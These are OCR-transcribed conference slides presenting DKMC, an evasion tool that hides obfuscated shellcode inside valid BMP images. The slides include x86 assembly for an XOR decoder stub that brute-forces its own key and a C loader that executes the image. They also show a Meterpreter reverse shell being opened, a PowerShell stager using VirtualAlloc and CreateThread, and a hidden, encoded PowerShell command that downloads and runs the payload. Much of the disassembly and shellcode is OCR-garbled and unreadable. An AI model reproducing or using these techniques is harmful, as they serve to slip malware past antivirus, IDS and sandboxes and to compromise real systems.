


Ox01 - Whoami

Sr Security consultant at Mandiant, a FireEye company

Founder of the ringzerOteam.com online CTF

Native French Quélbecois

Enjoy writing assembly

Love to bypass stuff



0Ox02 — What this is about

« Describe a technique to evade antivirus, IDS / IPS and
sandboxes using one single tool

« Does contain assembly code

« Not dropping any Odays ®
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0x03 — A journey into your shellcode

aftacker

sandbox IDS /IPS

Before your shellcode is executed on the target a lot of
devices will analyze it
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= = 0x04 — Evading sandboxes and IDS / IPS

* Most techniques involve using sandbox fingerprinting
and behavior analysis

» Check the current DOMAIN
« Check running processes
Check memory size

Check disk size

Check uptime

 This approach requires you to add specific functions to
your malicious code
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= = 0x04 — Evading sandboxes and IDS / IPS

Most sandboxes will only analysis executables, DLLs, Word
documents, Java applets and ...

What about other formats, such as images or other
harmless file type?

Most of them just There is no reasons to
waste CPU cycle to analyze an image righte
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‘ 0x05 — A journey into the BMP world

Let's take a look at Bitmap header

0 2 signature, must be 4042 hex

2 4 size of BMF file in bytes (unreliable)

6 2 reserved, must be zero

a8 2 reserved, must be zero

10 4 offset to start of image data in bytes

14 4 size of BITMAFINFOHEADER structure, must be 40
18 4 image width in pixels

22 4 image height in pixels

26 2 number of planes in the image, must be 1

28 2 number of bits per pixel (1, 4. 8 or 24)

30 4 compression type (0=none, 1=RLE-8, 2=RLE-4)
34 4 size of image data in bytes (including padding)

38 4 horizontal resolution in pixels per meter (unreliable)
42 4 vertical resolution in pixels per meter (unreliable)
45 4 number of colors in iImage, or zero

a0 4 number of important colors, or zero



0x05 — A journey into the BMP world

A valid BM header starts with something like this

Ox4d42
reserved, must be zero
reserved, must be zero

size of BMP (unreliable)
. signature (BM)




0x05 — A journey into the BMP world

[
[

[

k]

[

[
[

]
i

e
a0

00 ot 0 00 00 00 00
oo FF
FF
FF




0x05 — A journey into the BMP world

Polyglot images? Why not!

What about a valid Bitmap image that is also a valid
shellcode




0x05 — A journey into the BMP world

BM is BMP mandatory header signature
O0x424d in assembly is:

0: 42 inc edx
1: 4d dec ebp

This is awesome, these instructions will not crash, no memory
referencing instructions

mov eax, DWORD [ecx + ©Ox13]

Dangerous code that can crash, since there is no way to
confirm that ecx point to initialized data



0x05 — A journey into the BMP world

Time to call the cat home
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0x05 — A journey into the BMP world

To me, this cat is just a bunch of bytes
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0x05 — A journey into the BMP world

The modified image does have few weird pixels




0x05 — A journey into the BMP world
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Yeah! No more weird pixel



0x05 — A journey into the BMP world

Time to adjust the BMP header to jump to our shellcode
located at 0x0003c 650

BM + jmp instruction

jmp ©x0003c650 - OX3



0x05 — A journey into the BMP world

Testing our image

#include <Windows.h>

int main(int argc, char **argv) {
HANDLE hFile NULL ;
CHAR *buffer NULL;
DWORD dwSize 0,
DWORD dwReaded = 0;
int(*shellcode)(void);

hFile = CreateFile(argv[1],
GENERIC_READ,
FILE_SHARE_READ,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if(hFile != INVALID HANDLE_VALUE) {
dwSize = GetFileSize(hFile, NULL);
buffer = GlobalAlloc(GPTR, dwSize);
printf("Buffer located at %p\n", buffer);
ReadFile(hFile, buffer, dwSize, &dwReaded,
shellcode = (int(*)())buffer;
shellcode();
}

return 0;




0x05 — A journey into the BMP world

Start the executable using Immunity debugger and break on
the EAX call

EAX points to the buffer that contains our image

Fegisters [FPUI

ERx
ECH
ED:
EEX
ESF
EEF
ESI
EDI

BE4175ES
rerF3EEC
BE2EFECH
BEZ2FF 28
BE=2FEDS
BEZSFF 18
BEEREEEE
BEBEEEEE
. FFO&E

» B B0EREE0H
. 20hes F&

. 59

kernel32. FEFF3EELC :

ERX

ERX, &

ESF, DWORD FTR SS:[EEBFP-21
FOF ECx

EEEEEES
e 1 4 36
B4 25
| 00461435

Hdd;E--

B8417SBE
B84 1 7EES
B84 1 7ECa
BE8417°ECE
A4 1 7508
AE41 PE02
B8417EES
B8417PEES
BE417SFE
BE417EF2

EE IIE.III[I
Bl ..
515
(515

ED F—haﬂkﬂ
aC +Hrlil—1eE
YF JpupHuzt



0x05 — A journey into the BMP world

F7 to jump into the “image shellcode”

4z IMC EDH BEYSSEES  2BS9 CHF EDI,OWORD PTR DS: [ECH]
BEF17SEL 40 OEC EEF BEPSSEEE 45 IMC EEP
B lloEs Elaa  oosee o R ool Ds:irEmul.AL  OGvoobED 42 NG D
. " BAFCSEEE 40 OEC ESP
AET1FEED  BE3E AOD EVYTE FTR DS:[ESI1,OH
: BAFSSEEF 20 4@45SAZF CHP ER%, SF3A454A
AE717FSEE  BEEG AOD EYTE PTR DS:[EAXI,AL
: BAFCSEF4 42 IMC EDH
AEF1FSED  BB2S AOD EYTE PTR DS:[EAXI,CH DATEEERD S LE BN BTR DS:[ESIT.EH
AE717FSEF  BEEG AOD EVYTE PTR DS:[EAXI,AL DECEIEFT SR SqaTocds EHE Breamarans '
AEFIFEC1  BB2CAL ADD BYTE PTR DS: [ECRH+EARI,CH J5C22°0T 5o CER Efw’
AEF17ECY4  ABAGE AOD BYTE PTR DS:[EAXI,AL BATESEFD 49 OEC Erd
BEF1FECE 12681 ADC AL,BYTE PTR DS:L[ECH] AHCCSEFE oo PLSH EBF
AEF1FECS  GEEGE AOD EYTE PTR DS:[EAXI,AL AAFESEFF  BE FLEH EST
BEF1FECA @160 AODD OWORD PTR DS:[ERX],EAY  [henEs oo THTS {L‘:|
BEF1IYECC 1868 SEE BYTE PTRE DS:[ERx].AL GBEFSICAL O IHNTZ
AE71FECE  BEEGE AOD EVYTE FTR DS: CEAXI, AL BAFCOCEZ L INTZ
AEF1FEOE  BEEGE AOD EVYTE FTR DS: CEAXI,AL BAFCSCAS  CC INTS
AEF1FE0Z  CC INTS BAFCSCA4  CC INTS
AEF1FE0S  CEAS DA MO EBYTE PTR DOS:[EEXI.E BEFSICES  CC INTS
AET17E0E  BEEG AOD EVYTE PTR DS:[EAXI,AL BEFSICEE  CC INTS
AEF17E0S  AEAG AOD EBYTE PTR DS:[EARXI,AL BE7PSSCAT  CC INTS
AE717E0R  G0EGE AOD EBYTE PTR DS:[EARXI,AL BAVSSCAS  CC INTS
AEF1FE0C G086 AOD EBYTE PTR DOS:[EAX1,AL
AE717E0E  GOEG AOD BVYTE PTR DS: CEAXI, AL
AE71FCER  GREG ADD BVYTE PTR DS: CEAXI, AL
AEF1FEEZ  BOEGE AOD EVYTE FTR DS: CEAXI,AL
AE717EE4  BEEGE AOD EVYTE FTR DS: CEAXI,AL
AE71FSEE O LEALE

BE71YSEY  CF
pB71PEES ~E2 CO LOOFO_SHORT 96717587



0x05 — A journey into the BMP world

Yeah! We just created a polyglot image that is also a valid
shellcode payload :)
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= 0x06 — Obfuscating our payload

Let’'s confirm what we have so far

An image that is also a valid shellcode payload. This image
can be transfered over the network and executed as
shellcode on the other side

We beat most of the sandboxes engines at that point,
because they wil not analyze a simple Bitmap image



0x06 — Obfuscating our payload

Next step is pretty obvious: obfuscate our payload

OBFUSCATION
f -
L M)

;‘\"A A
r‘b*” \\\

-
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4 0x06 — Obfuscating our payload

Here is the ideaq:;

Encode your original shellcode using simple logic operations
such as xor

The key will be a 32 bits integer between exi1111111 - exfffffff

The obfuscation will brute force the key to avoid
harcoded value

Make it the smallest as possible



0x06 — Obfuscating our payload

In a nutshell, here is what | came up with: 84 bytes of assembly that
evades pretty much everything

46
eax

esi
ecx,ecx
ebx, ecx
ox4
edx

esi
DWORD PTR [eax] <---.
ecx |
ecx |
ebx |
ecx, ebx |
ecx, |
|
|
B

edi
16
ebx
00 00 00 ecx, 0x2
eax, edx
DWORD PTR [eax],ebx

f4
04 00 00 00
(=1%]
b7 ff ff ff
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0x06 — Obfuscating our payload

Our final obfuscation payload has the following structure:

Lets assume the key is: Ox13371337
Our magic numberis: 0x41414141

0x41414141 + original shellcode

D D D
0x13371337 0x13371337 0x13371337

Ox52765276 0Ox4bcdf6la 0x1831daee



0x06 — Obfuscating our payload

ebx
push  DWORD PTR [eax]
pop ecx

bswap ecx

xor ecx, ebx
cmp ecx, 0x
jne a

EBX contains the key to be tested

EAX is pointing to the obfuscated data

The 32 bits value contained intfo EAX is pushed on the stack
The value is then poped into the ECX register

All ECX bytes are swapped

ECX is xored with EBX

The result is compared with the magic number

Loop until ECX matches the magic number



0x06 — Obfuscating our payload

ecx, 0x
eax, edx

DWORD PTR [eax],ebx
21

The ECX register is used as a counter for the LOOP instruction
DWORD = 4 bytes. Number of rounds will be shellcode size / 4

Xor the chunk of 4 bytes obfuscated shellcode with the key stored
in EBX

Loop until everything is deobfuscated



0x06 — Obfuscating our payload

27: 2d sub eax, 0x
2b: ff e0 jmp eax

EAX is now pointing to the end of our shellcode
Substract the shellcode length to point to the beginning

Jump into our deobfuscated shellcode
Execute the final payload (meterpreter / Cobalt Strike beacon)



0x07 — Automating the process

DEMC - Don't k111 my cat
Evasion tool - Mr.Unlk0d3r RingZerd Team

|E —rrr T T T r—

L =T . FTiRa—
|r4_ } ]_r—--;x [ —
P A ST L Y The sleepy cat

[*]1 (gen) Generate a malicious BMP 1mage

[*]1 (web) S5tart a web server and deliver malicious image
[*]1 (p=) Generate Powershell payload

[*] (ewt) Quit the application

R



0x07 — Automating the process

| Module to generate malicious Bitmap image with embedded obfuscation shellcode |

Allowed options:

[*] (show) Show module wvariables

[*] (set) set value (set key wvalue)
[*]1 (run) Run the module

[*] (exit) Go back to the main menu

Module Variables description:

source Image source Tile path
shellcode Shellcode payload using “wd1'wd4l format
output Qutput file path

Current wariable wvalue:

source = sample/default. bmp
shellcode =
output = output/output-1480882875. bmp

(generate)==» set shellcode ‘wfchxed w82 x00%x00% 00 X680 xB xes W31\ ol e B\ x5 04 x 30 xBh x5 2 w0 B\ x5 2 w14\ xBh \ x 7 2\ x2 B\ w0\ xb7
oedat k26l xach (3 e L\ w7 w02\ 2 2 00 el e e 0d 0L e T e 2t e 20 e 2408 T Bl s 2 0N B b oed at w3 e Bbh ed S LN 7 B e 3 8\ w01
Moed1 w51 BB 5 a2 00 w01 Y xed 3 BB e 90 w1 BN e w3 At e 90 b 34 wBb M 0 ed Bh o 3 L o wach oL e 0 d M e 0L Y e T 3 Bh e DM o TS AT B w03k Fdh TR
Wb Fdh 240 (75 N ed s BB s B\ 24\ 0L ed 3\ B 6 (B O d b e BE Y x5 B L 0L Y ood 3 BN 004 kBB 0L ed 04 0 B 2N e e 24 w240 5 b s B e\ x5 9
Moes at w5 Lo et s T s ot at e Bbh e 20 webh o Bdh k5 dh BB 13 3 3 20 w00 00N B BN T T T 303 20 s T 4 B Bh e o T T 2 B 0 7 e ed 5 b Bh e 900 0L
00t 000% %2 D 0\ x5 4N\ 5 0N B8N 1 2 9 1 B0 e b 00N pof T oed 53 8 5 08 S 00 05 0% x5 0008 13 0 e 0% 05 04 e B ea 0 oed T e 0 e iy ed 5 4 w97 b a w05 Y e 8\ w18
W25 12 M 9eh 68 w02 w00 w1 T 90N KB AN wedh xBa 10N x5 B x5 T EEN 99N xas 74 B o hoed 5 B 5 oo 0h e T4 DA e et w0 BN T 5 e ot oe B e 3T w00
00t 000N xEat 00N )Eah o0 )5 645 7 EE\ 02 xod B e B T e T ond 5 4 B3N T B w00 17 el e 9 wBh N\ w3 6% xEa xd 0M 68\ ) 00N n L 0% 00N x00% x5 BY xEa w00\ 68
Moes Bh ad s 3t ces ot oed S W93 w5 3t aeBat w00 x5 B 15 3 x5 T e B w02 ed D e Bh S o ed 5 B 3 T Bh D0 w7 et e 3 0 e 3 2 9t B 7 5 e @t e 3t wbb
0N b5 xa2 \ x5 6 xBa x00% x5 3\ xds

[+] shellcode value is set.
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0x07 — Automating the process

(generate)»>= show

source sample/default. bmp

shellcode Yot e 8h B 2 000 ) 00N x000% )80 x 890 xed \ 31 o0t B4 W B x5 0 30% xBbN x5 2h 0 B 2 14\ i Bb 7 2N\ x 2 B 0T\ xb Pt at
el P oac 3 e\ T O\ 023 2 O\ 200 o e o e 0d e 0 e T ee 20 e 20 05 20 x5 B GG 20l 0 e Bb oed &t w3 e B e ol 1 e T BN e 3 e B e 0 Y ed 1 e
518k x5 220 x01 Y d 3w BN\ xd 9 L8 \ e 33 a xd D Bb i 34\ xBh N 0L md Bh o 31 T T ac e\ e 0 dh 0L Y e P 03 B e 00 i 75 T e D 3\ T d T B 3 b x
Td\ a2 175 ned 15 B\ nBbA x5 B\ 245 w01\ ed 3/ 665 x BbA w0 xd b x B x5 B3 w1 o 0 wd 3 e BbA 04 e B 0\ ed 0 B9 e\ e 24 e 240 x5 B 5 A B A x5 9 x5 ah
51 el s e Tias ahwdbi\ 1 2 xeb \ x 8d w5 d 68 % 333 2 w00 00 HB B\ 7 7 7 3\ 3 20 e T s 4 8B i o 7 7 02 B4 07 e d 5 b B 0 90% 0 0L 000N
004 %29 o\ 154 x5 0N X682 9 x B0 kb 00 3P 0d 53 x5 00 0 5 0% x5 00 05 00 e 00 05 00 e 00 05 00 B B ced w0 oed T e 00 e P ed 5 3 e 97 B @ w05 A BB WL B\ n 25X
2909\ 1684 102 00 1T 30N x 89 e\ neah w104 x5 64 K5 T eE\ x93 xas \ w74 el T ed 5 e B5 \ e 0t i 74 D o T ed e 08 175 e c e B i 3T e 000 000N x
00% xea X004 xea X044 x5 65\ x5 T\ 68\ w02 xd P B\ w5 i P oed 5 B3 e F 8 w00% 1 7 2’ e x BbY 36 xea’ xd 0 68 w00 1 0% w00 004 x5 64 x6a x00h w68\ x5 8 x
adh x5 3es o oed 5\ x93 xE 3\ xeah 00 x5 65 X5 3\ TWeE\ 02 xd D e B\ xS T o wed 5\ B 3 P B e 00N x T e\ e e 3/ 0\ e 3/ 2 9N B T 5 e 9 e 3 xbb PO x
b5 ka2 x5 6N\ xea x00% x5 3 xds

output = putput /output-1480882875. bmp

(generate)==> run
[+] Image =ize iz 300 x 275
Generating obfuscation key Ox5136c0bs
Shellcode size OxlZb (299)
Adding 1 bytes of padding
Generating magic bytes OwdbledOfhb
Final shellcode length 1s Oxl62 (354)
Mew BMP header set to Ox424de399c50300
New height 1s Ow0e010000 (270)
SuccessTully save the image. (foygdrive/c/Users/charles.hamilton/workspace/DKMC foutput output-1480882875. bmp)

(generate) === |



0x07 — Automating the process

B4 1 7EAA

q:=
40
ES S29CEEzZ0E

IMC ED&

CEC EEF
BE453E4 8

HE453E48
BE452E4A
BE4ESE4E
BE453840
BE4EZE4F
BE453R5]
BE452EE2
BE453B53
HE453E55
BE4EZESE
BE453B5S
BE452E5A
BE453B0E
BE4EZEES
BE452EGd
BE453B0E
BE45ZEES
BE453BCE
BE45ZEED
BE453B5F
BE452E7S
BE4E2E7E
BE45367H
BE4EZEVE
BE45387C
BE45ZEY0

2109
21F3 FE481&DE
~v5 F@
BFCE
21cs
28cl 4B
B106
2112
~EZ FH
o520 2881
FFEH
ES DBFFFFFF
ED

]
F&
AA

SHORT Ba453B7E
FOF ER:

wOR ECH, ECH
MOL BB, ECH
FUSH 4
FOF ED
IMC EB®
FUSH DWORD PTR D5:LCERX]
FOF ECH
ESWAF ECH
“0R ECH, EBM
CMF ECx, DB1E4BFE
SHORT BR453BE2
ESWAF EBX
AOR ECH,ECH
AOO CL, 4B
AOD ER&=, EOX
“0F OWORD PTR D5: [EAX], EBX
SHORT @B453Be9
SUE AR, 128
ERA=
BE45ZE4A
IM ERH, O
SALC
CHC
STOS BYTE FPTR ES:[EDI]

I-0 command
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0x07 — Automating the process

BE453B5E ~7YE FA
BE453B52  GFCE
BE453B54  31C9
BE4E3EEE  SECL 4B
BE4E3EES G108
BE4E2BeE 3118
Ba4c2Be0 ~E2 FA
EE4E3BEF S5z 20 2881
FFE&

BE45387E  ES DBFFFFFF
BE4E3ETYH  ED

SHORT BE453B52
ESWAF EB:
WOR ECH.ECH
AOD CL, 4E
AODD EA:, ED
#OR DWORD PTR DS: [EAXI,EEX
SHORT @E4E3Be2
SUE An, 1282
ER:
EE453E4A
IM ERA, O

ER:
EC:H
EL
EE:
ESF
EEF
ESI
EDI

EIF

EBE453E7E
BEREEHEE
EEREEEES
S1BECH3IE
BE22FECC
BEZ3FF1Y
alaalalsialals)
BEEEEHEE

HE453E7S
I-0 command

BE452E7E
BE452E3G
BE45SE3E
R4S 2B
BE452E9E
BE4E2ERE
BE452BAE
BE452EBG
BE452EEE
BE452ECE
BE452ECE
BE452E0G
BE452E0E
BE4E2EES
BE452BEE
BE452EF G
BE452EFE
BE452CHG
BE452CHE
BE4E2C01 e
BE4E2C1E
BE452026
BE45202E
BE452036
BE452C3E

-
ol tdiPEt
R. iRl
ol tad
aig, 1=,
][] TN
Bl ILAR
THEFLLY
ALiI+meI
4ifrl '
4=, A|FSxuy
L NS T
2R TRASELF
1aETHLEY
T# i E-E05
(L[LaY2lm
o CTHSL
Jh32..hw
s2_ThLw:
- AHEA..
1-TPh 1 Gk
. FFPPFFIE
FEPH G
Fis idh 1
1kh&. FEE

Started reverse handler on 0.0.0.0:8080

Starting the payload handler...

Sending s=tage (BB3806 bytes) to 24.37.41.154

Meterpreter zes=jon 1 opened (24.37.41.158:8080 -» 24.37.41.154:56626) at 2016-12-04 15:35:51 -0500

meterpreter = ps



0x07 — Automating the process

We successtully generated our malicious
Image and spawn a meterpreter

ggﬁ%'lﬁlrsnngn auuiwl i
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x07 — The Powershell payload

The last step consists In generating the
Powershell payload that will download
and execute all of this In memory



—
— 0x07 — The Powershell payload

No need 1o come up with super fancy
sCript, since various projects already
come up with scripts that allow you to
execute shellcode within Powershell

Example:

Cobalt Strike beacon Powershell stager



— 0x07 — The Powershell payload

In a nutshell, the script relies on
System.Net.WebClient fo download the

Image

Then use VirtualAlloc and CreateThread to
execute the shellcode



O0x07 — The Powershell payload

[Byte[]]

$var_buffer =

[System.Runtime.InteropServices.Marshal]: :GetDelegateForFunctionPointer((func_get
_proc_address kernel32.d11l ), (func_get delegate type @([IntPtr],
[UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero,
$var_code.Length,0x3000, 0x40)

[System.Runtime.InteropServices.Marshal]::Copy($var code, @, $var_buffer,
$var_code.length)

$var_hthread =

[System.Runtime.InteropServices.Marshal]: :GetDelegateForFunctionPointer((func_get
_proc_address kernel32.dll ), (func_get delegate type @([IntPtr],
[UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr])
([IntPtr]))).Invoke([IntPtr]::Zero,0,%$var buffer,[IntPtr]::Zero,0,[IntPtr]::Zero)

[System.Runtime.InteropServices.Marshal]: :GetDelegateForFunctionPointer((func_get
_proc_address kernel32.dll ), (func_get delegate type
@([IntPtr], [Int32]))).Invoke($var_hthread,oxffffffff) | Out-Null




O0x07 — The Powershell payload

Allowed options:

[*] (show) Show module variables

[*] (set) Set value (set key value)
[*] (run) Run the module

[*] (exit) Go back to the main menu

Module Variables description:
url Url that point to the malicious image
rand Use random variables name

Current variable value:

url
rand

true

(powershell)>>> set url http://127.0.0.1:8088/good.bmp
[+] url value is set.

(powershell)=>=> |}



url
rand

true

(powershell)>>> set url http://127.0.0.1:8080/good.bmp
[+] url value is set.

(powershell)=>> run
[+] Powershell script:

powershell.exe -nop -w hidden -enc JABzADOATgBLAHCALQBPAGIAagBlAGMAdAAQAEKATWAUAEGAZQBtAGSACGBSAFMAdABYAGUAY(QBTACGALABDAEMADWBUAHYAZQBYAHQAXQAGADOARGB
YAGBAbQBCAGEACWBLADYANABTAHQACOBPAGAAZWAOACIASAAOAHMASQBDAEWAWAAWAEQADABrAEMALWB6AEUAMABPAFQAV()BSAEOARAARADUATGBEAGSADQBPAEQANQARAHYAVGBaAHQAVAATrAEOAN
ABFAFAANgGBPAHgASAArAHCAVGBWAFcAUWBTAECABQAYAHCARQBXAEgAaWBGAGEAa)BOAEWAdWBVAHQAVGBEADYAe(QBOAESAdABWAGOANABSAGEAUQAYAESASABSAHCASAAZAEMAMWA4ADKAeABLAGA
AQWBTADMAYgBMAHMAZQBKAFQACABKACSAC)BGACBARWABACBARQBG6AHOAegB4ADIARgAZAFMANQBXAHgAWABGAGQAVQBZAECAUQBNAGBARABVACEADQBUAGCAd)B4AHUAYgAYADEADgBSAGEANQBPA
HcANQBNACEAagBrAEYATgA1AHCARQBFADUAQWBZADUAdABMAGEAMWE 3AGWAVAABADIAdABGAEKAYQArAGBAeQBGAHIAWABaADEAVQBDAFEAbgASAHQAYgBKAFAALWBhAFYATGBHAEKAMgBLAFUASAB
XAG4ANQBFAEOAaWBNADUADQBDAFQACOB4AEUACGAZAEUASWBRAESADGBLAFYACAAZAFCACAB3AGYAWAAVAGIANGBRACSAUABMAGAAd(QBYADEANWAZ AGMADWBOADUAVABADCAZWB1AEKADABYAEUAK
WBPAEMAZWBSAGKAbwWBGAFEAaQAVADYAMWBPAGAAbWBhAHAASGARAE4ATWB FAEOARQBOAHMAAABEADIAUQAOACEAdWBYAGWAEQAIAGSAdAAr AEOACGA4AEOASWBVAGY AMWBPAGOAWABFADGACABGAHM
AMWB tAE4AKWBQAEBDADABWAGWAVQBFAFOACQABAHAAZGBXAHAAQWASADCADWB4AFO0AOQBXADIAdgBUACSAMWBUAEYARGATAFOAKWB3AGQAMWAZAGUAVQBKADCAYOBWAGAAUWB JAGEASQBPACBAZWAZA
EgATABIAGKAMgBNADIANWBNADEAagBzAESAMABXADgANQBWAEOAWGBLAGKAOQBIAFIATgA3SAHUAMQALAGYASGBEAFMARQBDACBAVAAYACEAQWAZAFEATQB4AGSAaWBSAGOATQB3AESAdWAZAGRAUQB
LAGOASWAVAEQAbWATADQAMWBCAGOAYgBSAHYAWQBLAEMATQBPADEAUWBCAFEAaWBPAETACQBYAHKARQBLADUAQQAZAFKASGBAAEYAeQA3AHAASBEAGUANQBSAEQAMAAWAGOARGBAAGOASABNAHYAT
QBZAGWANABSADYAbwWBCACSAWGBEADQACAAXAFIARQBYAEQAbWBRAEQAaQAYAEWAKWBDAHGAIQBPAECAagBpACSAegBWAFIAVWBqAFYAMQBZAHAAeABNAFCAMWB2AEIAdABGAESADABYAGAAdWBZAFQ
AbgByAEKAYQAAAGSAMWE JAEYAdgBMAGYARQB JADAAWQBAAETANGBaAFYARABXAGGADQAZ AFCATgBMAGUAdWBKACBADABRAFAARWBOAHMAAABUACEADAASAGOAdABEAGTAQQBZACBAVOBKAFMAYWBYA
GSATAABADYARgBhAHEAagBsADIAUWB6ADIAVGBNAGOATQBtAEKANQBPADMAMABYAGKATQBFAFYAeABKACBAdABNADCAY(B JAFEARAASADYATQArAGQAJWBVAEQAdQBEAHKATOAXAGEATQBUAFAAWGA
XAEgAdgBQAFYANABLADMAZAA2AE4ANQBGEAGUAOQBNADCATgBUAHEATWBCAFOATQBGADQANGBMAEOATGArAGSAdgAXADYAMQA2AEGAVABAAHTAZgBAHAASWB1AHEAbgAVAGUAYQBMAGTIATgBPAHQAD
AB6AHUAIWABAGQARQAXAEMAZgBDAHgAbWB4AHYAe(QBDAHYAdgBTAGOAdgBFAEGATABIAHMAUABNAESACWB3AHMAOABNAECAMWBSAEUARABEAFUAZWE JAESBAVQBhAHAATQBMAGWANABGAFcADAB4ADE
ASABUAEWAKWB1AFAAVQBVAFOARAAWAEIAVGBMAGUAUGBHAGCAbABFAGgAYgBaAHkAMWB3AFMAeABTAGIADABZAE4AMABZAEKASQBNAFYANWAWAEWAVQB4AHQAa()BDAFUARABOAFgAVGBLAEOAdgBOA
GKAZAASAE4ASABIADYAdgBHAGEAWGBLADQACABKADEABQBGAGYADWE 1ADYAUQBMAGWARQBMAGKASWBLAGGASWBXAFQAMQBWAFQATABLAEBADQBOAFEAEQAZAGWAWABMAE4AZGBKAHIADWE3AHQAMWE
ZAGUAUQAVAGIAUABIAGEAYQBGAEKADABXAHEAWQASAFUAUQBEAHgANGAZAFIAaAA4AFIACGBtAEIAeABSAFYAbgBMAEKAQWBGAGUAWGBKAEAAaQAXAGKACWBAGUARABVAESATWBKAEOAVABOAEGAY
AAhAHKAWQBIAFIAJWB3AGBAWABXADAASOBWAGCASgAZAGWAVQBSAEBAMQB3AFgAZABPAECASQBPAEUAVIBWAGBACWBUAEWAQWAZAFTIAUGBGAEOAQWATADKAagBKAGQAMABDAGBASAAXAGSAZABPAEW
AS(QBSAHQAV(QBSAEUARWB1AGCARWB3AGWAYWBXAFIARABSADAAdGBOAGSAZWBGAFQARWBOAFgATABAAECARQB6AFAALWATAEQAVQARAHMARGBXADQAKWABAHAASQBEAFAACWBGADAAVQASAESAGABVA
HIAawAyADUADABRAGIAVgBXAHEAaQBtAFIACWBMAFgAdQBYAHMAQQBLAEOAOAB3AHEAY(QBGADYAQWAGADMARQBrAFKAKWBDAFMAEABYAFUACQBhAGIAMgBWADUADGBXADGAYWBIAG4AegB6AHUANWE
mADMAZWBWACBATWAWAGMANWB GAGYAMgBLADUAKWBUAFUAZWB1AGUASgBIAGBALWBaAGQAVgBWADYACAB6AGQAMQBIAGIAeAAZAGUAIWAOAHIAQQA4ADKAaQBLAFAARWBEAGQAQWBVADYAOQA4AEOAW
gBZAHUACQBaAEUAWQA1AF0AaABJAGWACGBHAEQAVQBPAFYAUQBUAHUAUQBXADEASgBUAEAACOBIAFgAdgAXAFTACgBZAFQASGBZAEMAagAXAESATgBSAFUATWBCAGQANQBWAHOANGBSAGKAVQBMADT
AVQBLAFIAWABrAGoAbgBHAE4AbgBVAHgAKWB LAGUANWB ZAGEAVWBRADEANABOAGAAY(QBWAHMARGBrAEDASABCAHOAYWBZAEWANgBaAHMAIQBaADCAWABCAEQASABWAEOANWBMAHKADABGAGUACABVA
EwAeABWAGAACgAIAFUADABQAGCAZgBOADIAVgBOAHgAbGBNADCAZAAT AFKAYQBNAGQAeQBFADIAMWBIADCAbgB tADIAMWAhRAFAASQBZADMAegB6AGOAWQBUAESADOQB2AGSAaWBLACBAdWE1AHKATWE
aAGQAbQArAEIAZAA4ACEATGBUAGWAMIBEAHUAegBIADAASWASADQADQATAEUAWGB JADMACQASAGMAIQAVAHKACWBPACBAEABXAFIASQBtAGMAWQBGAFgAUGBRAGKARABVAHMAUWAT AGKAMAAWAESBAY
gASAFCcANWB 1AEWAVGBGAEMASWBIAHCcAdgB3AHoACgA2AFgATABWAEOAYWB2ADgASWBYAGUAMWBYAEKATWBUAGIAbWBLAEKAVGBtAEIASGBXAEYALWABAGWATQBKADCACWBLACSACWAZAGBAZGBKADU
AbwBXAFQAYgAZAFYARQAZAHOAZOBAAGUAYQAYAFIARWBYADEACQAYAEQAAWBrAEOAYOBAAE4AVOBtADAACQBRAHMACABJAHGANWBIWAF 0ARWA4AFgASAAXAHQACOBLAGIACQBOAEKAYQArACSASAALA
C8ASgBIADUANABZAGMALWBWAEGATWE 1ACEARABQAHAANWBLADUAMWE LAFMAY(QBRAGOAZWBAAGIASWA2ZAGIAZQB1ADgACGBRAESAMAATr AHCAdgBNAHEAYWAXAEYACWARAGBAIQAhACEAPQASACIALGE
SAGUACABSAGEAYWBLACgAIgAhACIALAAGACTAQQATACKAKQAPADSASQBFAFgATAAOAE4AZ(QB3ACOATWB1AGOAZQB JAHQATABIAESALGBTAHQACOBLAGEADQBSAGUAY(QBKAGUACOAOAE4AZQB3ACOAT
wB1AGOAZ(B jAHQAIABIAEBALGBDAGBAbQBWAHIAZ(QBzAHMABQBVAG4ALgBHAHOAA)BWAFMAJABYAGUAY(QBtACgAIABZACWAWWB JAESBALgBDAGBABQBWAHIAZ()BZAHMAAQBVAG4ALgBDAGBABQBWAHT
AZ(BzAHMAAQBVAGAATQBVAGQAZQBAADOADGBEAGUAYWBVAGBACABYAGUACWBZACKAKQAPACAAUGBLAGEAZABUAGBARQBUAGQAKAAPADSA

(powershell)s>> i




O0x07 — The Powershell payload

Allowed options:

[*1 (show) Show module variables

[*] (set) Set value (set key value)
[*1 (run) Run the module

[*] (exit) Go back to the main menu

Module Variables description:

folder Base folder used to deliver files
certificate Certificate path

port Port used to bind the web server
https Use HTTPS

Current variable value:

folder = [home/mruniked3r/Desktop/NSEC17/dkmc/DKMC/output/
certificate = corefutil/cert/default.pem

port = 80

https = false

(web)>>> set port 8080
[+] port value is set.

(web)=>> run
[+] Starting web server on port 8688
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O0x08 — Future project

Obfuscate random DLLs and EXEs

Executables and DLLs can also be polyglot

WORD e magic (MZ)
R WORD e_cblp
Beittbai WORD e_cp




O0x08 — Future project

Find a code ccve

C 6C 00 5F 4R l1ibgcj-13.d11. J




—
— 0

X08 — Future project

Add a piece of shellcode that loads all
the binary section in memory, maps the
executable and then launches it

VirtualAlloc PE header ImageBase,
SizeOflmage

VirtualAlloc to allocate sections
Resolve import table using GetProcAddress

Call the entry point



— 0x08 — Future project

Once the polyglot DLL / exe is generated,
obfuscate the whole file using the same
technigue

Add it to the original image, like we did
with the shellcode



T

..... == Ox08 — Use to tool

hitps://github.com/Mr-Un1k0d3r/DKMC




—
- 0x09 — EOF

Thank you

Questions?

Twitter: @MrUn TkOd3r
Website: hitps://ringzerOteam.com



